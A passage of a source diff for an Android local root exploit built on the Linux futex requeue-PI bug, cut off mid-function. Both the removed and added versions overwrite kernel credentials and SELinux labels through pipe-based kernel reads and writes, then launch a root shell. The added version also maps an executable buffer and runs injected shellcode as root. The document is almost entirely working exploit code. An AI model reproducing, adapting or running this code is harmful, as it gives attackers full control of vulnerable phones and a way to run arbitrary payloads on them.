-volatile int do_dm_tid_read = 0; -volatile int did_dm_tid_read = 0; -pthread_mutex_t is_thread_awake_lock; -pthread_cond_t is_thread_awake; -int HACKS_fdm = 0; -unsigned long MAGIC = 0; -unsigned long MAGIC_ALT = 0; -pthread_mutex_t *is_kernel_writing; -pid_t last_tid = 0; -int g_argc; -char rootcmd[2048] = ""; - - -ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) { - int pipefd[2]; - ssize_t len; - - pipe(pipefd); - - len = write(pipefd[1], writebuf, count); - - if (len != count) { - printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno); - while (1) { - sleep(10); - } - } - - read(pipefd[0], readbuf, count); - - close(pipefd[0]); - close(pipefd[1]); - - return len; -} - -ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) { - int pipefd[2]; - ssize_t len; - - pipe(pipefd); - - write(pipefd[1], writebuf, count); - len = read(pipefd[0], readbuf, count); - - if (len != count) { - printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno); - while (1) { - sleep(10); - } - } - - close(pipefd[0]); - close(pipefd[1]); - - return len; -} - -void write_kernel(int signum) -{ - struct thread_info stackbuf; - unsigned long taskbuf[0x100]; - struct cred *cred; - struct cred credbuf; - struct task_security_struct *security; - struct task_security_struct securitybuf; - pid_t pid; - int i; - int ret; - FILE *fp; - - pthread_mutex_lock(&is_thread_awake_lock); - pthread_cond_signal(&is_thread_awake); - pthread_mutex_unlock(&is_thread_awake_lock); - - if (HACKS_final_stack_base == NULL) { - static unsigned long new_addr_limit = 0xffffffff; - char *slavename; - int pipefd[2]; - char readbuf[0x100]; - - printf("cpid1 resumed\n"); - - pthread_mutex_lock(is_kernel_writing); - - HACKS_fdm = open("/dev/ptmx", O_RDWR); - unlockpt(HACKS_fdm); - slavename = ptsname(HACKS_fdm); - - open(slavename, O_RDWR); - - do_splice_tid_read = 1; - while (1) { - if (did_splice_tid_read != 0) { - break; - } - } - - read(HACKS_fdm, readbuf, sizeof readbuf); - - printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit); - - write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit); - - pthread_mutex_unlock(is_kernel_writing); - - while (1) { - sleep(10); - } - } - - printf("cpid3 resumed.\n"); - - pthread_mutex_lock(is_kernel_writing); - - printf("hack.\n"); - - read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf); - read_pipe(stackbuf.task, taskbuf, sizeof taskbuf); - - cred = NULL; - security = NULL; - pid = 0; - - for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { - struct task_struct_partial *task = (void *)&taskbuf[i]; - - - if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START - && task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START - && task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START - && task->real_cred == task->cred) { - cred = task->cred; - break; - } - } - - read_pipe(cred, &credbuf, sizeof credbuf); - - security = credbuf.security; - - if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) { - read_pipe(security, &securitybuf, sizeof securitybuf); - - if (securitybuf.osid != 0 - && securitybuf.sid != 0 - && securitybuf.exec_sid == 0 - && securitybuf.create_sid == 0 - && securitybuf.keycreate_sid == 0 - && securitybuf.sockcreate_sid == 0) { - securitybuf.osid = 1; - securitybuf.sid = 1; - - printf("task_security_struct: %p\n", security); - - write_pipe(security, &securitybuf, sizeof securitybuf); - } - } - - credbuf.uid = 0; - credbuf.gid = 0; - credbuf.suid = 0; - credbuf.sgid = 0; - credbuf.euid = 0; - credbuf.egid = 0; - credbuf.fsuid = 0; - credbuf.fsgid = 0; - - credbuf.cap_inheritable.cap[0] = 0xffffffff; - credbuf.cap_inheritable.cap[1] = 0xffffffff; - credbuf.cap_permitted.cap[0] = 0xffffffff; - credbuf.cap_permitted.cap[1] = 0xffffffff; - credbuf.cap_effective.cap[0] = 0xffffffff; - credbuf.cap_effective.cap[1] = 0xffffffff; - credbuf.cap_bset.cap[0] = 0xffffffff; - credbuf.cap_bset.cap[1] = 0xffffffff; - - write_pipe(cred, &credbuf, sizeof credbuf); - - pid = syscall(__NR_gettid); - - for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { - static unsigned long write_value = 1; - - if (taskbuf[i] == pid) { - write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value); - - if (getuid() != 0) { - printf("ROOT FAILED\n"); - while (1) { - sleep(10); - } - } else { //rooted - break; - } - } - } - - sleep(1); - - if (g_argc >= 2) { - system(rootcmd); - } else { - system("/system/bin/sh -i"); - } - - system("/system/bin/touch /dev/rooted"); - - pid = fork(); - if (pid == 0) { - while (1) { - ret = access("/dev/rooted", F_OK); - if (ret >= 0) { - break; - } - } - - printf("wait 10 seconds...\n"); - sleep(10); - - printf("rebooting...\n"); - sleep(1); - system("reboot"); - - while (1) { - sleep(10); - } - } - - pthread_mutex_lock(&done_lock); - pthread_cond_signal(&done); - pthread_mutex_unlock(&done_lock); - - while (1) { - sleep(10); - } - - return; -} - -void *make_action(void *arg) { - int prio; - struct sigaction act; - int ret; - - prio = (int)arg; - last_tid = syscall(__NR_gettid); - - pthread_mutex_lock(&is_thread_desched_lock); - pthread_cond_signal(&is_thread_desched); - - act.sa_handler = write_kernel; - act.sa_mask = 0; - act.sa_flags = 0; - act.sa_restorer = NULL; - sigaction(12, &act, NULL); - - setpriority(PRIO_PROCESS, 0, prio); - - pthread_mutex_unlock(&is_thread_desched_lock); - - do_dm_tid_read = 1; - - while (did_dm_tid_read == 0) { - ; - } - - ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); - printf("futex dm: %d\n", ret); - - while (1) { - sleep(10); - } - - return NULL; -} - -pid_t wake_actionthread(int prio) { - pthread_t th4; - pid_t pid; - char filename[256]; - FILE *fp; - char filebuf[0x1000]; - char *pdest; - int vcscnt, vcscnt2; - - do_dm_tid_read = 0; - did_dm_tid_read = 0; - - pthread_mutex_lock(&is_thread_desched_lock); - pthread_create(&th4, 0, make_action, (void *)prio); - pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock); - - pid = last_tid; - - sprintf(filename, "/proc/self/task/%d/status", pid); - - fp = fopen(filename, "rb"); - if (fp == 0) { - vcscnt = -1; - } - else { - fread(filebuf, 1, sizeof filebuf, fp); - pdest = strstr(filebuf, "voluntary_ctxt_switches"); - pdest += 0x19; - vcscnt = atoi(pdest); - fclose(fp); - } - - while (do_dm_tid_read == 0) { - usleep(10); - } - - did_dm_tid_read = 1; - - while (1) { - sprintf(filename, "/proc/self/task/%d/status", pid); - fp = fopen(filename, "rb"); - if (fp == 0) { - vcscnt2 = -1; - } - else { - fread(filebuf, 1, sizeof filebuf, fp); - pdest = strstr(filebuf, "voluntary_ctxt_switches"); - pdest += 0x19; - vcscnt2 = atoi(pdest); - fclose(fp); - } - - if (vcscnt2 == vcscnt + 1) { - break; - } - usleep(10); - - } - - pthread_mutex_unlock(&is_thread_desched_lock); - - return pid; -} - -int make_socket() { - int sockfd; - struct sockaddr_in addr = {0}; - int ret; - int sock_buf_size; - - sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); - if (sockfd < 0) { - printf("socket failed.\n"); - usleep(10); - } else { - addr.sin_family = AF_INET; - addr.sin_port = htons(LOCAL_PORT); - addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); - } - - while (1) { - ret = connect(sockfd, (struct sockaddr *)&addr, 16); - if (ret >= 0) { - break; - } - usleep(10); - } - - sock_buf_size = 1; - setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size)); - - return sockfd; -} - -void *send_magicmsg(void *arg) { - int sockfd; - struct mmsghdr msgvec[1]; - struct iovec msg_iov[8]; - unsigned long databuf[0x20]; - int i; - int ret; - - waiter_thread_tid = syscall(__NR_gettid); - setpriority(PRIO_PROCESS, 0, 12); - - sockfd = make_socket(); - - for (i = 0; i < ARRAY_SIZE(databuf); i++) { - databuf[i] = MAGIC; - } - - for (i = 0; i < 8; i++) { - msg_iov[i].iov_base = (void *)MAGIC; - msg_iov[i].iov_len = 0x10; - } - - msgvec[0].msg_hdr.msg_name = databuf; - msgvec[0].msg_hdr.msg_namelen = sizeof databuf; - msgvec[0].msg_hdr.msg_iov = msg_iov; - msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov); - msgvec[0].msg_hdr.msg_control = databuf; - msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf); - msgvec[0].msg_hdr.msg_flags = 0; - msgvec[0].msg_len = 0; - - syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0); - - do_socket_tid_read = 1; - - while (1) { - if (did_socket_tid_read != 0) { - break; - } - } - - ret = 0; - - while (1) { - ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0); - if (ret <= 0) { - break; - } - } - - if (ret < 0) { - perror("SOCKSHIT"); - } - printf("EXIT WTF\n"); - while (1) { - sleep(10); - } - - return NULL; -} - -static inline setup_exploit(unsigned long mem) -{ - *((unsigned long *)(mem - 0x04)) = 0x81; - *((unsigned long *)(mem + 0x00)) = mem + 0x20; - *((unsigned long *)(mem + 0x08)) = mem + 0x28; - *((unsigned long *)(mem + 0x1c)) = 0x85; - *((unsigned long *)(mem + 0x24)) = mem; - *((unsigned long *)(mem + 0x2c)) = mem + 8; -} - -void *search_goodnum(void *arg) { - int ret; - char filename[256]; - FILE *fp; - char filebuf[0x1000]; - char *pdest; - int vcscnt, vcscnt2; - unsigned long magicval; - pid_t pid; - unsigned long goodval, goodval2; - unsigned long addr, setaddr; - int i; - char buf[0x1000]; - - syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); - - while (1) { - ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1); - if (ret == 1) { - break; - } - usleep(10); - } - - wake_actionthread(6); - wake_actionthread(7); - - uaddr2 = 0; - do_socket_tid_read = 0; - did_socket_tid_read = 0; - - syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2); - - while (1) { - if (do_socket_tid_read != 0) { - break; - } - } - - sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); - - fp = fopen(filename, "rb"); - if (fp == 0) { - vcscnt = -1; - } - else { - fread(filebuf, 1, sizeof filebuf, fp); - pdest = strstr(filebuf, "voluntary_ctxt_switches"); - pdest += 0x19; - vcscnt = atoi(pdest); - fclose(fp); - } - - did_socket_tid_read = 1; - - while (1) { - sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); - fp = fopen(filename, "rb"); - if (fp == 0) { - vcscnt2 = -1; - } - else { - fread(filebuf, 1, sizeof filebuf, fp); - pdest = strstr(filebuf, "voluntary_ctxt_switches"); - pdest += 0x19; - vcscnt2 = atoi(pdest); - fclose(fp); - } - - if (vcscnt2 == vcscnt + 1) { - break; - } - usleep(10); - } - - printf("starting the dangerous things\n"); - - setup_exploit(MAGIC_ALT); - setup_exploit(MAGIC); - - magicval = *((unsigned long *)MAGIC); - - wake_actionthread(11); - - if (*((unsigned long *)MAGIC) == magicval) { - printf("using MAGIC_ALT.\n"); - MAGIC = MAGIC_ALT; - } - - while (1) { - is_kernel_writing = (pthread_mutex_t *)malloc(4); - pthread_mutex_init(is_kernel_writing, NULL); - - setup_exploit(MAGIC); - - pid = wake_actionthread(11); - - goodval = *((unsigned long *)MAGIC) & 0xffffe000; - - printf("%p is a good number\n", (void *)goodval); - - do_splice_tid_read = 0; - did_splice_tid_read = 0; - - pthread_mutex_lock(&is_thread_awake_lock); - - kill(pid, 12); - - pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); - pthread_mutex_unlock(&is_thread_awake_lock); - - while (1) { - if (do_splice_tid_read != 0) { - break; - } - usleep(10); - } - - sprintf(filename, "/proc/self/task/%d/status", pid); - fp = fopen(filename, "rb"); - if (fp == 0) { - vcscnt = -1; - } - else { - fread(filebuf, 1, sizeof filebuf, fp); - pdest = strstr(filebuf, "voluntary_ctxt_switches"); - pdest += 0x19; - vcscnt = atoi(pdest); - fclose(fp); - } - - did_splice_tid_read = 1; - - while (1) { - sprintf(filename, "/proc/self/task/%d/status", pid); - fp = fopen(filename, "rb"); - if (fp == 0) { - vcscnt2 = -1; - } - else { - fread(filebuf, 1, sizeof filebuf, fp); - pdest = strstr(filebuf, "voluntary_ctxt_switches"); - pdest += 19; - vcscnt2 = atoi(pdest); - fclose(fp); - } - - if (vcscnt2 != vcscnt + 1) { - break; - } - usleep(10); - } - - goodval2 = 0; - - setup_exploit(MAGIC); - - *((unsigned long *)(MAGIC + 0x24)) = goodval + 8; - - wake_actionthread(12); - goodval2 = *((unsigned long *)(MAGIC + 0x24)); - - printf("%p is also a good number.\n", (void *)goodval2); - - for (i = 0; i < 9; i++) { - setup_exploit(MAGIC); - - pid = wake_actionthread(10); - - if (*((unsigned long *)MAGIC) < goodval2) { - HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000); - - pthread_mutex_lock(&is_thread_awake_lock); - - kill(pid, 12); - - pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); - pthread_mutex_unlock(&is_thread_awake_lock); - - printf("GOING\n"); - - write(HACKS_fdm, buf, sizeof buf); - - while (1) { - sleep(10); - } - } - - } - } - - return NULL; -} - -void *accept_socket(void *arg) { - int sockfd; - int yes; - struct sockaddr_in addr = {0}; - int ret; - - sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); - - yes = 1; - setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes)); - - addr.sin_family = AF_INET; - addr.sin_port = htons(LOCAL_PORT); - addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); - bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); - - listen(sockfd, 1); - - while(1) { - ret = accept(sockfd, NULL, NULL); - if (ret < 0) { - printf("**** SOCK_PROC failed ****\n"); - while(1) { - sleep(10); - } - } else { - printf("i have a client like hookers.\n"); - } - } - - return NULL; -} - -void init_exploit() { - unsigned long addr; - pthread_t th1, th2, th3; - - printf("running with pid %d\n", getpid()); - - pthread_create(&th1, NULL, accept_socket, NULL); - - addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); - addr += 0x800; - MAGIC = addr; - if ((long)addr >= 0) { - printf("first mmap failed?\n"); - while (1) { - sleep(10); - } - } - - addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); - addr += 0x800; - MAGIC_ALT = addr; - if (addr > 0x110000) { - printf("second mmap failed?\n"); - while (1) { - sleep(10); - } - } - - pthread_mutex_lock(&done_lock); - pthread_create(&th2, NULL, search_goodnum, NULL); - pthread_create(&th3, NULL, send_magicmsg, NULL); - pthread_cond_wait(&done, &done_lock); -} - -int main(int argc, char **argv) { - g_argc = argc; - - if (argc >= 2) { - strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1); - int i; - for (i=1;i +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "log.h" + +struct mmsghdr { + struct msghdr msg_hdr; + unsigned int msg_len; +}; + +#ifndef FUTEX_WAIT_REQUEUE_PI +#define FUTEX_WAIT_REQUEUE_PI 11 +#endif + +#ifndef FUTEX_CMP_REQUEUE_PI +#define FUTEX_CMP_REQUEUE_PI 12 +#endif + +#define ERROR 0 +#define ROOT_SUCCESS 1 +#define FIX_SUCCESS 2 +#define ALL_DONE 3 + +#define KERNEL_START 0xc0000000 + +unsigned char shellcode_buf[2048] = { 0x90, 0x90, 0x90, 0x90 }; +unsigned char config_buf[2048] = { "c0nfig" }; + +int config_new_samsung = 0; +int config_iovstack = 2; +int config_offset = 0; +int config_force_remove = 0; + +int run_shellcode_as_root() { + + int uid = getuid(); + if (uid != 0) { + LOGV("Not uid=%d, returning\n", uid); + return 0; + } + + if (shellcode_buf[0] == 0x90) { + LOGV("No shellcode, uid=%d\n", uid); + return 0; + } + LOGV("running shellcode, uid=%d\n", uid); + + int pid = fork(); + LOGV("onload, pid=%d\n", pid); + if (pid == 0) { + LOGV("shellcode, pid=%d, tid=%d\n", getpid(), gettid()); + void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); + if (ptr == MAP_FAILED) { + return 0; + } + memcpy(ptr, shellcode_buf, sizeof(shellcode_buf)); + void (*shellcode)() = (void(*)())ptr; + shellcode(); + } + LOGV("finished, pid=%d\n", pid); + return pid; +} + +#define DEV_PTMX "/dev/ptmx" +int PORT = 58295; + +unsigned long addr, hacked_node, hacked_node_alt; +int HACKS_fdm = 0; +pid_t waiter_thread_tid; +pthread_mutex_t done_lock; +pthread_mutex_t done_kill_lock; +pthread_mutex_t thread_returned_lock; +pthread_cond_t done; +pthread_cond_t done_kill; +pthread_cond_t thread_returned; +pthread_mutex_t is_thread_desched_lock; +pthread_cond_t is_thread_desched; +pthread_mutex_t is_thread_awake_lock; +pthread_cond_t is_thread_awake; +int lock1 = 0; +int lock2 = 0; +pid_t last_tid = 0, leaker_pid = 0, stack_modifier_tid = 0, pid6 = 0, pid7 = 0; +pthread_mutex_t *is_kernel_writing; +int pipe_fd[2]; +int sockfd; +pid_t tid_12 = 0; +pid_t tid_11 = 0; +unsigned long first_kstack_base, final_kstack_base, leaker_kstack_base, target_waiter; +unsigned long t11; +unsigned long lock; +char shell_server[256]; +int loop_limit = 10; +pid_t remove_pid[1024]; +unsigned long remove_waiter[1024]; +int remove_counter = 0; + +const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0}; +const char str_1[] = {1, 0, 0, 0, 0}; + +void reset_hacked_list(unsigned long hacked_node); + +/*********************/ +/*** PIPE STUFF ******/ +/*********************/ + +// Pipe server +static int start_pipe_server() { + int nbytes,msg; + int done_root = 0; + + /* Parent process closes up output side of pipe */ + close(pipe_fd[1]); + LOGD("[CONTROLLER] Controller started with PID %d\n", getpid()); + + while(1) { + /* Read in a message from the exploiting process */ + nbytes = read(pipe_fd[0], &msg, sizeof(msg)); + if(nbytes <= 0) return 0; + if(msg == ROOT_SUCCESS) { + LOGD("[CONTROLLER] Exploit succeded\n"); + done_root = 1; + } + if(msg == FIX_SUCCESS) { + LOGD("[CONTROLLER] Fix succeded\n"); + } + if(msg == ALL_DONE) { + LOGD("[CONTROLLER] Exploit completed\n"); + if(done_root) + return 1; + } + if(msg == ERROR) { + if(done_root) { + LOGD("[CONTROLLER] Error but exploit succeded\n"); + return 1; + } + else { + LOGD("[CONTROLLER] Error received\n"); + return 0; + } + } + } +} + +// Send a message to the controller +static void send_pipe_msg(int msg) { + int msg_to_send; + + msg_to_send = msg; + write(pipe_fd[1], &msg, sizeof(msg)); +} + +// Read kernel space using pipe +ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) { + int pipefd[2]; + ssize_t len; + + pipe(pipefd); + + len = write(pipefd[1], writebuf, count); + + if (len != count) { + LOGD("[PIPE] FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno); + return -1; + } + + read(pipefd[0], readbuf, count); + LOGD("[PIPE] Read %d bytes\n", count); + + close(pipefd[0]); + close(pipefd[1]); + + return len; +} + +// Write in kernel space using pipe +ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) { + int pipefd[2]; + ssize_t len; + int ret = 0; + + pipe(pipefd); + ret = write(pipefd[1], writebuf, count); + len = read(pipefd[0], readbuf, count); + if (len != count) { + LOGD("[PIPE] FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno); + return -1; + } + else + LOGD("[PIPE] Written %d bytes\n", (int)len); + + close(pipefd[0]); + close(pipefd[1]); + + return len; +} + + + +/*********************/ +/**** SOCKET STUFF ***/ +/*********************/ + +void *accept_socket(void *arg) { + int yes; + struct sockaddr_in addr = {0}; + int ret; + int sock_buf_size; + socklen_t optlen; + + sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); + if(sockfd < 0) { + LOGD("[ACCEPT SOCKET] Socket creation failed\n"); + send_pipe_msg(ERROR); + return NULL; + } + + yes = 1; + setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes)); + + // We need set the socket kernel buffer as smaller as possible. + // When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall + + sock_buf_size = 1; + setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, (char *)&sock_buf_size, sizeof(sock_buf_size)); + + addr.sin_family = AF_INET; + addr.sin_port = htons(PORT); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + + if(bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + LOGD("[ACCEPT SOCKET] Socket bind failed\n"); + send_pipe_msg(ERROR); + return NULL; + } + + if(listen(sockfd, 1) < 0) { + LOGD("[ACCEPT SOCKET] Socket listen failed\n"); + send_pipe_msg(ERROR); + return NULL; + } + + while(1) { + ret = accept(sockfd, NULL, NULL); + if (ret < 0) { + LOGD("[ACCEPT SOCKET] Socket accept failed\n"); + send_pipe_msg(ERROR); + return NULL; + } else { + LOGD("[ACCEPT SOCKET] Client accepted!\n"); + } + } + + return NULL; +} + + +int make_socket() { + int sockfd; + struct sockaddr_in addr = {0}; + int ret; + int sock_buf_size; + socklen_t optlen; + + sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); + if (sockfd < 0) { + LOGD("[MAKE SOCKET] socket failed.\n"); + send_pipe_msg(ERROR); + return 0; + } else { + addr.sin_family = AF_INET; + addr.sin_port = htons(PORT); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + } + + while (1) { + ret = connect(sockfd, (struct sockaddr *)&addr, 16); + if (ret >= 0) { + break; + } + usleep(10); + } + + // We need set the socket kernel buffer as smaller as possible + // When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall + + sock_buf_size = 1; + setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size)); + + return sockfd; +} + + +/*************************/ +/**** KERNEL STUFF *******/ +/*************************/ +void stop_for_error() { + LOGD("[ERROR] Sleeping for error"); + send_pipe_msg(ERROR); + while(1) + sleep(10); +} + +// Remove a pending waiter +void remove_remaining_waiter(int index) { + unsigned long addr; + unsigned long val[4]; + + + LOGD("[REMOVER] Killing tid %d waiter %x\n", remove_pid[index], (unsigned int) remove_waiter[index]); + + addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + + reset_hacked_list(0xbeffe0); + + // Create a correct next and previous waiter + + *((unsigned long *)0xbf0004) = remove_waiter[index]; // (entry->next)->prev + *((unsigned long *)0xbeffe0) = remove_waiter[index]; // (entry->prev)->next + *((unsigned long *)0xbf000c) = (remove_waiter[index]+8); // (entry->node_next)->node_prev + *((unsigned long *)0xbeffe8) = (remove_waiter[index]+8); // (entry->node_prev)->node_next + + val[0] = 0xbf0000; + val[1] = 0xbeffe0; + val[2] = 0xbf0008; + val[3] = 0xbeffe8; + write_pipe((void *)(remove_waiter[index]), &val, 16); + + // Now we can kill the waiter safely + + pthread_mutex_lock(&is_thread_awake_lock); + kill(remove_pid[index], 14); + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + munmap((unsigned long *)0xbef000, 0x2000); + +} + +// Fix the kernel waiter list +int fix_kernel_waiter_list(unsigned int head) { + + unsigned int val, val2, val3, list, prio6, prio3; + int i, err = 0, ret = 0; + unsigned long w[4]; + unsigned int as[12]; + + LOGD("[FIXER] prio 6 at %x\n", head); + + list = head + 4; + + // Save the prio6 waiter + read_pipe((void *) list, &prio6, 4); + + // Save the prio3 waiter + read_pipe((void *) (list+4), &prio3, 4); + + // Fix prio3 + ret = write_pipe((void *) (prio3+4), &t11, 4); // prio_list->prev + if(ret == -1) + err = 1; + +#ifdef DEBUG + //////////////// Just debug ////////////////////////////// + read_pipe((void *) (list-4), &as, 48); + LOGD("[FIXER] First: %x %x %x %x %x %x %x %x %x %x %x %x\n", + as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]); + ////////////////////////////////////////////// +#endif + + + // Find the first waiter before the hacked waiter. We need to fix it + for(i = 0; i < 2; i++) { + read_pipe((void *) list, &val, 4); + list = val; + if(i == 0) { + // At the beginning we need to save the lock pointer + read_pipe((void *) (list + 40), &lock, 4); + +#ifdef DEBUG + //////////////// Just debug ////////////////////////////// + read_pipe((void *) (list-4), &as, 48); + LOGD("[FIXER] Second: %x %x %x %x %x %x %x %x %x %x %x %x\n", + as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]); + ////////////////////////////////////////////// +#endif + + } + } + + + // Adjust the lock->next pointer + LOGD("[FIXER] Looking for the lock next offset address\n"); + if(lock) { + for(i = 0; i < 5; i++) { + read_pipe((void *) (lock + (i * 4)), &val3, 4); + if(val3 == (prio3 + 8)) { + LOGD("[FIXER] Lock next offset fount at %d\n", (i * 4)); + lock = lock + (i * 4); + } + } + } + + // Fix the lock->prev. Now points to the hacked node. Change it to the prio 12 waiter + val2 = t11 + 8; + ret = write_pipe((void *) (lock + 4), &val2, 4); // lock->prev + if(ret == -1) + err = 1; + + // Fix prio 7 waiter. It points to the hacked node. Update it pointing to the prio 11 waiter + val2 = t11+8; + ret = write_pipe((void *) (list), &t11, 4); // prio_list->next + if(ret == -1) + err = 1; + + ret = write_pipe((void *) (list + 8), &val2, 4); // node_list->next + if(ret == -1) + err = 1; + + + // Fix prio 11. Points to the hacked node, fix it to point to the prio 7 waiter + w[0] = prio3; // prio_list->next + w[1] = list; // prio_list->prev + w[2] = lock; // node_list->next + w[3] = list + 8; // node_list->prev + + ret = write_pipe((void *) t11, &w, 16); + if(ret == -1) + err = 1; + + LOGD("[FIXER] Lock->next found at %x\n", (unsigned int) lock); + LOGD("[FIXER] All done!\n"); + +#ifdef DEBUG + ///////////////////////////// DEBUG ////////////////////////////7 + read_pipe((void *) (prio3-4), &as, 48); + LOGD("[FIXER] prio3 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio3-4), + as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]); + + read_pipe((void *) (head), &as, 48); + LOGD("[FIXER] prio4 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(head), + as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]); + + read_pipe((void *) (prio6-4), &as, 48); + LOGD("[FIXER] prio6 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio6-4), + as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]); + + read_pipe((void *) (list - 4), &as, 48); + LOGD("[FIXER] prio7 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(list-4), + as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]); + + read_pipe((void *) (t11-4), &as, 48); + LOGD("[FIXER] prio11 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(t11-4), + as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]); + + read_pipe((void *) (lock), &as, 16); + LOGD("LOCK: %x %x %x %x\n", as[0], as[1], as[2], as[3]); + ////////////////////////////////////////////// +#endif + + sleep(1); + + return err; + +} + + + +// Hack in the kernel +void hack_the_kernel(int signum) { + char *slavename; + int pipefd[2]; + char readbuf[0x100]; + unsigned long thread_info_dump[4]; + unsigned long task_struct_dump[0x200]; + unsigned long cred_struct_dump[0x40]; + unsigned long cred_struct_dump_orig[0x40]; + unsigned long group_info_struct_dump[6]; + unsigned long group_info_struct_dump_orig[6]; + pid_t pid; + int i, ret; + unsigned long val1, val2; + int err = 0; + + leaker_pid = gettid(); + + pthread_mutex_lock(&is_thread_awake_lock); + pthread_cond_signal(&is_thread_awake); + pthread_mutex_unlock(&is_thread_awake_lock); + + // Check if we are the first or the second evil thread + if (final_kstack_base == 0) { + LOGD("[FIRST KERNEL HACK] First evil thread started\n"); + + pthread_mutex_lock(is_kernel_writing); + // We need to use a pipe... Open a pts device to use it + + HACKS_fdm = open(DEV_PTMX, O_RDWR); + unlockpt(HACKS_fdm); + slavename = ptsname(HACKS_fdm); + + open(slavename, O_RDWR); + LOGD("[FIRST KERNEL HACK] First evil thread going to wait\n"); + + if(config_new_samsung) { + pipe(pipefd); + syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0); + + } + else { + read(HACKS_fdm, readbuf, 0x100); + } + + // Here the TRIGGER told us to continue the dirty job + // Update the thread_info struct of the second evil thread using the pipe. + + write_pipe((void *)(final_kstack_base + 8), (void *)str_ffffffff, 4); + + LOGD("[FIRST KERNEL HACK] All Done!\n"); + + // Tell the second thread that now can continue + pthread_mutex_unlock(is_kernel_writing); + + // Add a waiter 